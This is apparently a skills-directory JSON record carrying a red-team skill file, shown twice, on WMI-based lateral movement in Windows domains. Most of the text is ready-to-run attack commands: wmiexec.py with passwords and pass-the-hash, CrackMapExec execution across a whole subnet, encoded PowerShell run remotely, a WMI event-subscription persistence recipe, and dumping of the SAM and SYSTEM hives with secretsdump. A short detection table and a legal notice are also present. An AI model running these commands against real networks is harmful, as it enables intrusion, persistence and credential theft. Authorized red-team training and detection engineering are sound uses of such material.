[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFWF3PB2FBP37CGZ4MY5HZ":3,"skill-same:01M6AFWF3PB2FBP37CGZ4MY5HZ":128},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AFWF3PB2FBP37CGZ4MY5HZ","performing-lateral-movement-with-wmiexec",null,"Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"performing lateral movement with wmiexec","Impacket","wmiexec","analysis","networks","wmi","t1059","execution","t1078","exploitation","cybersecurity","lateral-movement","network","red team","post-exploitation","red-team","protocol","remote execution","windows","2026-11-10 10:12:30",false,"---\nname: performing-lateral-movement-with-wmiexec\ndescription: Perform lateral movement across Windows networks using WMI-based remote\n  execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI\n  commands for stealthy post-exploitation during red team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- lateral-movement\n- wmiexec\n- wmi\n- post-exploitation\n- impacket\n- windows\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- Application Protocol Command Analysis\n- Network Isolation\n- Network Traffic Analysis\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1021\n---\n# Performing Lateral Movement with WMIExec\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nWMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing lateral movement with wmiexec\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Execute remote commands on Windows targets using WMI-based techniques\n- Establish semi-interactive shells via Impacket wmiexec.py\n- Perform lateral movement with Pass-the-Hash using WMI\n- Use CrackMapExec for multi-target WMI command execution\n- Execute native PowerShell WMI commands for fileless lateral movement\n- Chain WMI with credential harvesting for network-wide access\n\n## MITRE ATT&CK Mapping\n\n- **T1047** - Windows Management Instrumentation\n- **T1021.003** - Remote Services: Distributed Component Object Model (DCOM)\n- **T1550.002** - Use Alternate Authentication Material: Pass the Hash\n- **T1059.001** - Command and Scripting Interpreter: PowerShell\n- **T1570** - Lateral Tool Transfer\n\n## Workflow\n\n### Phase 1: WMIExec with Impacket\n1. Execute a semi-interactive shell with credentials:\n   ```bash\n   # With cleartext password\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # With NT hash (Pass-the-Hash)\n   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local\u002Fadmin@10.10.10.50\n\n   # With Kerberos ticket\n   export KRB5CCNAME=admin.ccache\n   wmiexec.py -k -no-pass domain.local\u002Fadmin@TARGET01.domain.local\n\n   # Execute specific command (non-interactive)\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"ipconfig \u002Fall\"\n   ```\n2. Execute commands without output file (stealthier using DCOM):\n   ```bash\n   # Using dcomexec.py as alternative (MMC20.Application DCOM object)\n   dcomexec.py -object MMC20 domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # Using ShellWindows DCOM object\n   dcomexec.py -object ShellWindows domain.local\u002Fadmin:'Password123'@10.10.10.50\n   ```\n\n### Phase 2: CrackMapExec Multi-Target Execution\n1. Execute commands across multiple targets:\n   ```bash\n   # Execute single command on subnet\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -x \"whoami\"\n\n   # Execute with hash\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x \"ipconfig\"\n\n   # Execute PowerShell command\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -X \"Get-Process\"\n\n   # Check local admin access via WMI\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123'\n   ```\n\n### Phase 3: Native WMI Commands (Windows)\n1. Execute remote commands using built-in Windows WMI tools:\n   ```powershell\n   # Using wmic.exe (deprecated but still available)\n   wmic \u002Fnode:10.10.10.50 \u002Fuser:domain\\admin \u002Fpassword:Password123 process call create \"cmd.exe \u002Fc whoami > C:\\temp\\out.txt\"\n\n   # Using PowerShell Invoke-WmiMethod\n   $cred = Get-Credential\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"cmd.exe \u002Fc ipconfig > C:\\temp\\output.txt\"\n\n   # Using CIM sessions (modern replacement for WMI)\n   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred\n   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `\n     -MethodName Create -Arguments @{CommandLine=\"cmd.exe \u002Fc whoami\"}\n   ```\n2. Fileless PowerShell execution via WMI:\n   ```powershell\n   # Execute encoded PowerShell command remotely\n   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\\temp\\procs.txt'))\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"powershell.exe -enc $cmd\"\n   ```\n\n### Phase 4: WMI-Based Persistence\n1. Create WMI event subscriptions for persistence:\n   ```powershell\n   # Create WMI event subscription (command runs on every logon)\n   $filter = Set-WmiInstance -Namespace \"root\\subscription\" -Class __EventFilter `\n     -Arguments @{Name=\"PersistFilter\"; EventNamespace=\"root\\cimv2\";\n                  QueryLanguage=\"WQL\"; Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"}\n\n   $consumer = Set-WmiInstance -Namespace \"root\\subscription\" -Class CommandLineEventConsumer `\n     -Arguments @{Name=\"PersistConsumer\"; CommandLineTemplate=\"cmd.exe \u002Fc \u003Cpayload>\"}\n\n   Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding `\n     -Arguments @{Filter=$filter; Consumer=$consumer}\n   ```\n\n### Phase 5: Chaining with Credential Harvesting\n1. Use WMI for remote credential extraction:\n   ```bash\n   # Dump SAM hashes via WMI + reg save\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"reg save HKLM\\SAM C:\\temp\\sam && reg save HKLM\\SYSTEM C:\\temp\\system\"\n\n   # Download saved hives\n   smbclient.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n   > get C:\\temp\\sam\n   > get C:\\temp\\system\n\n   # Extract hashes from saved hives\n   secretsdump.py -sam sam -system system LOCAL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) |\n| dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) |\n| CrackMapExec | Multi-target WMI execution | Linux (Python) |\n| wmic.exe | Native Windows WMI command-line tool | Windows |\n| PowerShell CIM | Modern WMI cmdlets | Windows |\n| SharpWMI | .NET WMI execution tool | Windows (.NET) |\n\n## WMI Execution Methods Comparison\n\n| Method | Service Created | Output Method | Stealth Level |\n|--------|----------------|---------------|---------------|\n| wmiexec.py | No | Temp file on ADMIN$ | Medium |\n| dcomexec.py | No | Temp file on ADMIN$ | Medium-High |\n| wmic.exe | No | None (blind) or redirect | Medium |\n| PowerShell WMI | No | None (blind) or redirect | High |\n| PsExec (comparison) | Yes | Service output pipe | Low |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process |\n| WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files |\n| Remote WMI connections (DCOM\u002F135) | Network monitoring for DCOM traffic to workstations |\n| WmiPrvSE.exe spawning cmd.exe\u002Fpowershell.exe | EDR process tree analysis |\n| Event 5857\u002F5860\u002F5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |\n\n## Validation Criteria\n\n- [ ] WMIExec shell established on remote target\n- [ ] Pass-the-Hash execution validated via WMI\n- [ ] Multi-target command execution via CrackMapExec WMI\n- [ ] Native PowerShell WMI commands executed remotely\n- [ ] Credential harvesting performed via WMI execution chain\n- [ ] No service creation artifacts on target systems\n- [ ] Evidence documented with command outputs and screenshots\n","# Performing Lateral Movement with WMIExec\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Overview\n\nWMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing lateral movement with wmiexec\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Execute remote commands on Windows targets using WMI-based techniques\n- Establish semi-interactive shells via Impacket wmiexec.py\n- Perform lateral movement with Pass-the-Hash using WMI\n- Use CrackMapExec for multi-target WMI command execution\n- Execute native PowerShell WMI commands for fileless lateral movement\n- Chain WMI with credential harvesting for network-wide access\n\n## MITRE ATT&CK Mapping\n\n- **T1047** - Windows Management Instrumentation\n- **T1021.003** - Remote Services: Distributed Component Object Model (DCOM)\n- **T1550.002** - Use Alternate Authentication Material: Pass the Hash\n- **T1059.001** - Command and Scripting Interpreter: PowerShell\n- **T1570** - Lateral Tool Transfer\n\n## Workflow\n\n### Phase 1: WMIExec with Impacket\n1. Execute a semi-interactive shell with credentials:\n   ```bash\n   # With cleartext password\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # With NT hash (Pass-the-Hash)\n   wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local\u002Fadmin@10.10.10.50\n\n   # With Kerberos ticket\n   export KRB5CCNAME=admin.ccache\n   wmiexec.py -k -no-pass domain.local\u002Fadmin@TARGET01.domain.local\n\n   # Execute specific command (non-interactive)\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"ipconfig \u002Fall\"\n   ```\n2. Execute commands without output file (stealthier using DCOM):\n   ```bash\n   # Using dcomexec.py as alternative (MMC20.Application DCOM object)\n   dcomexec.py -object MMC20 domain.local\u002Fadmin:'Password123'@10.10.10.50\n\n   # Using ShellWindows DCOM object\n   dcomexec.py -object ShellWindows domain.local\u002Fadmin:'Password123'@10.10.10.50\n   ```\n\n### Phase 2: CrackMapExec Multi-Target Execution\n1. Execute commands across multiple targets:\n   ```bash\n   # Execute single command on subnet\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -x \"whoami\"\n\n   # Execute with hash\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x \"ipconfig\"\n\n   # Execute PowerShell command\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123' -X \"Get-Process\"\n\n   # Check local admin access via WMI\n   crackmapexec wmi 10.10.10.0\u002F24 -u admin -p 'Password123'\n   ```\n\n### Phase 3: Native WMI Commands (Windows)\n1. Execute remote commands using built-in Windows WMI tools:\n   ```powershell\n   # Using wmic.exe (deprecated but still available)\n   wmic \u002Fnode:10.10.10.50 \u002Fuser:domain\\admin \u002Fpassword:Password123 process call create \"cmd.exe \u002Fc whoami > C:\\temp\\out.txt\"\n\n   # Using PowerShell Invoke-WmiMethod\n   $cred = Get-Credential\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"cmd.exe \u002Fc ipconfig > C:\\temp\\output.txt\"\n\n   # Using CIM sessions (modern replacement for WMI)\n   $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred\n   Invoke-CimMethod -CimSession $session -ClassName Win32_Process `\n     -MethodName Create -Arguments @{CommandLine=\"cmd.exe \u002Fc whoami\"}\n   ```\n2. Fileless PowerShell execution via WMI:\n   ```powershell\n   # Execute encoded PowerShell command remotely\n   $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\\temp\\procs.txt'))\n   Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 `\n     -Credential $cred -ArgumentList \"powershell.exe -enc $cmd\"\n   ```\n\n### Phase 4: WMI-Based Persistence\n1. Create WMI event subscriptions for persistence:\n   ```powershell\n   # Create WMI event subscription (command runs on every logon)\n   $filter = Set-WmiInstance -Namespace \"root\\subscription\" -Class __EventFilter `\n     -Arguments @{Name=\"PersistFilter\"; EventNamespace=\"root\\cimv2\";\n                  QueryLanguage=\"WQL\"; Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"}\n\n   $consumer = Set-WmiInstance -Namespace \"root\\subscription\" -Class CommandLineEventConsumer `\n     -Arguments @{Name=\"PersistConsumer\"; CommandLineTemplate=\"cmd.exe \u002Fc \u003Cpayload>\"}\n\n   Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding `\n     -Arguments @{Filter=$filter; Consumer=$consumer}\n   ```\n\n### Phase 5: Chaining with Credential Harvesting\n1. Use WMI for remote credential extraction:\n   ```bash\n   # Dump SAM hashes via WMI + reg save\n   wmiexec.py domain.local\u002Fadmin:'Password123'@10.10.10.50 \"reg save HKLM\\SAM C:\\temp\\sam && reg save HKLM\\SYSTEM C:\\temp\\system\"\n\n   # Download saved hives\n   smbclient.py domain.local\u002Fadmin:'Password123'@10.10.10.50\n   > get C:\\temp\\sam\n   > get C:\\temp\\system\n\n   # Extract hashes from saved hives\n   secretsdump.py -sam sam -system system LOCAL\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| wmiexec.py | Semi-interactive WMI shell (Impacket) | Linux (Python) |\n| dcomexec.py | DCOM-based remote execution (Impacket) | Linux (Python) |\n| CrackMapExec | Multi-target WMI execution | Linux (Python) |\n| wmic.exe | Native Windows WMI command-line tool | Windows |\n| PowerShell CIM | Modern WMI cmdlets | Windows |\n| SharpWMI | .NET WMI execution tool | Windows (.NET) |\n\n## WMI Execution Methods Comparison\n\n| Method | Service Created | Output Method | Stealth Level |\n|--------|----------------|---------------|---------------|\n| wmiexec.py | No | Temp file on ADMIN$ | Medium |\n| dcomexec.py | No | Temp file on ADMIN$ | Medium-High |\n| wmic.exe | No | None (blind) or redirect | Medium |\n| PowerShell WMI | No | None (blind) or redirect | High |\n| PsExec (comparison) | Yes | Service output pipe | Low |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Win32_Process.Create WMI calls | Event 4688 (process creation) with WMI parent process |\n| WMI temporary output files on ADMIN$ | File monitoring on ADMIN$ share for temp files |\n| Remote WMI connections (DCOM\u002F135) | Network monitoring for DCOM traffic to workstations |\n| WmiPrvSE.exe spawning cmd.exe\u002Fpowershell.exe | EDR process tree analysis |\n| Event 5857\u002F5860\u002F5861 | WMI Activity logs in Microsoft-Windows-WMI-Activity |\n\n## Validation Criteria\n\n- [ ] WMIExec shell established on remote target\n- [ ] Pass-the-Hash execution validated via WMI\n- [ ] Multi-target command execution via CrackMapExec WMI\n- [ ] Native PowerShell WMI commands executed remotely\n- [ ] Credential harvesting performed via WMI execution chain\n- [ ] No service creation artifacts on target systems\n- [ ] Evidence documented with command outputs and screenshots\n",{"name":5,"tags":48,"author":50,"domain":34,"license":15,"version":51,"nist_csf":52,"subdomain":56,"description":7,"mitre_attack":57,"d3fend_techniques":63},[39,35,26,29,38,49,42],"impacket","mahipal","1.0",[53,54,55],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[58,59,60,61,62],"T1595","T1190","T1059","T1078","T1021",[64,65,66,67,68],"Executable Denylisting","Execution Isolation","Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-lateral-movement-with-wmiexec",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-lateral-movement-with-wmiexec",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-lateral-movement-with-wmiexec",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-lateral-movement-with-wmiexec","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002FSKILL.md",true,[93,99,104,110,114,118,124],{"path":94,"resourceType":95,"resourceTypeDesc":96,"sizeBytes":97,"sourceHtmlUrl":98},"assets\u002Ftemplate.md","ASSET","资产文件",597,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Fassets\u002Ftemplate.md",{"path":100,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002FLICENSE",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fapi-reference.md","REFERENCE","参考文档",1612,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Freferences\u002Fapi-reference.md",{"path":111,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fstandards.md",858,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Freferences\u002Fstandards.md",{"path":115,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":116,"sourceHtmlUrl":117},"references\u002Fworkflows.md",677,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Freferences\u002Fworkflows.md",{"path":119,"resourceType":120,"resourceTypeDesc":121,"sizeBytes":122,"sourceHtmlUrl":123},"scripts\u002Fagent.py","SCRIPT","脚本",7474,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Fscripts\u002Fagent.py",{"path":125,"resourceType":120,"resourceTypeDesc":121,"sizeBytes":126,"sourceHtmlUrl":127},"scripts\u002Fprocess.py",2956,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-lateral-movement-with-wmiexec\u002Fscripts\u002Fprocess.py",[129,156,180,207,232,259],{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":136,"publishedAt":43},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[135],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[137,138,139,140,141,34,142,143,144,145,146,147,148,149,150,151,152,153,154,155],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":157,"name":158,"nameZh":6,"description":159,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":160,"categories":161,"keywords":163,"publishedAt":43},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[162],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[164,152,165,166,141,167,34,144,168,169,170,171,172,173,174,175,176,177,178,179],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":190,"publishedAt":43},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[186,189],{"categoryNo":187,"categoryName":188,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[174,191,192,193,194,34,195,196,168,197,198,199,200,201,202,32,203,204,205,206],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":208,"name":209,"nameZh":6,"description":210,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":211,"categories":212,"keywords":214,"publishedAt":43},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[213],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[42,215,216,34,217,218,219,220,221,222,223,224,225,226,227,228,171,229,230,231],"kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":233,"name":234,"nameZh":6,"description":235,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":236,"categories":237,"keywords":239,"publishedAt":43},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[238],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[240,241,242,34,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":260,"name":261,"nameZh":6,"description":262,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":263,"categories":264,"keywords":266,"publishedAt":43},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident 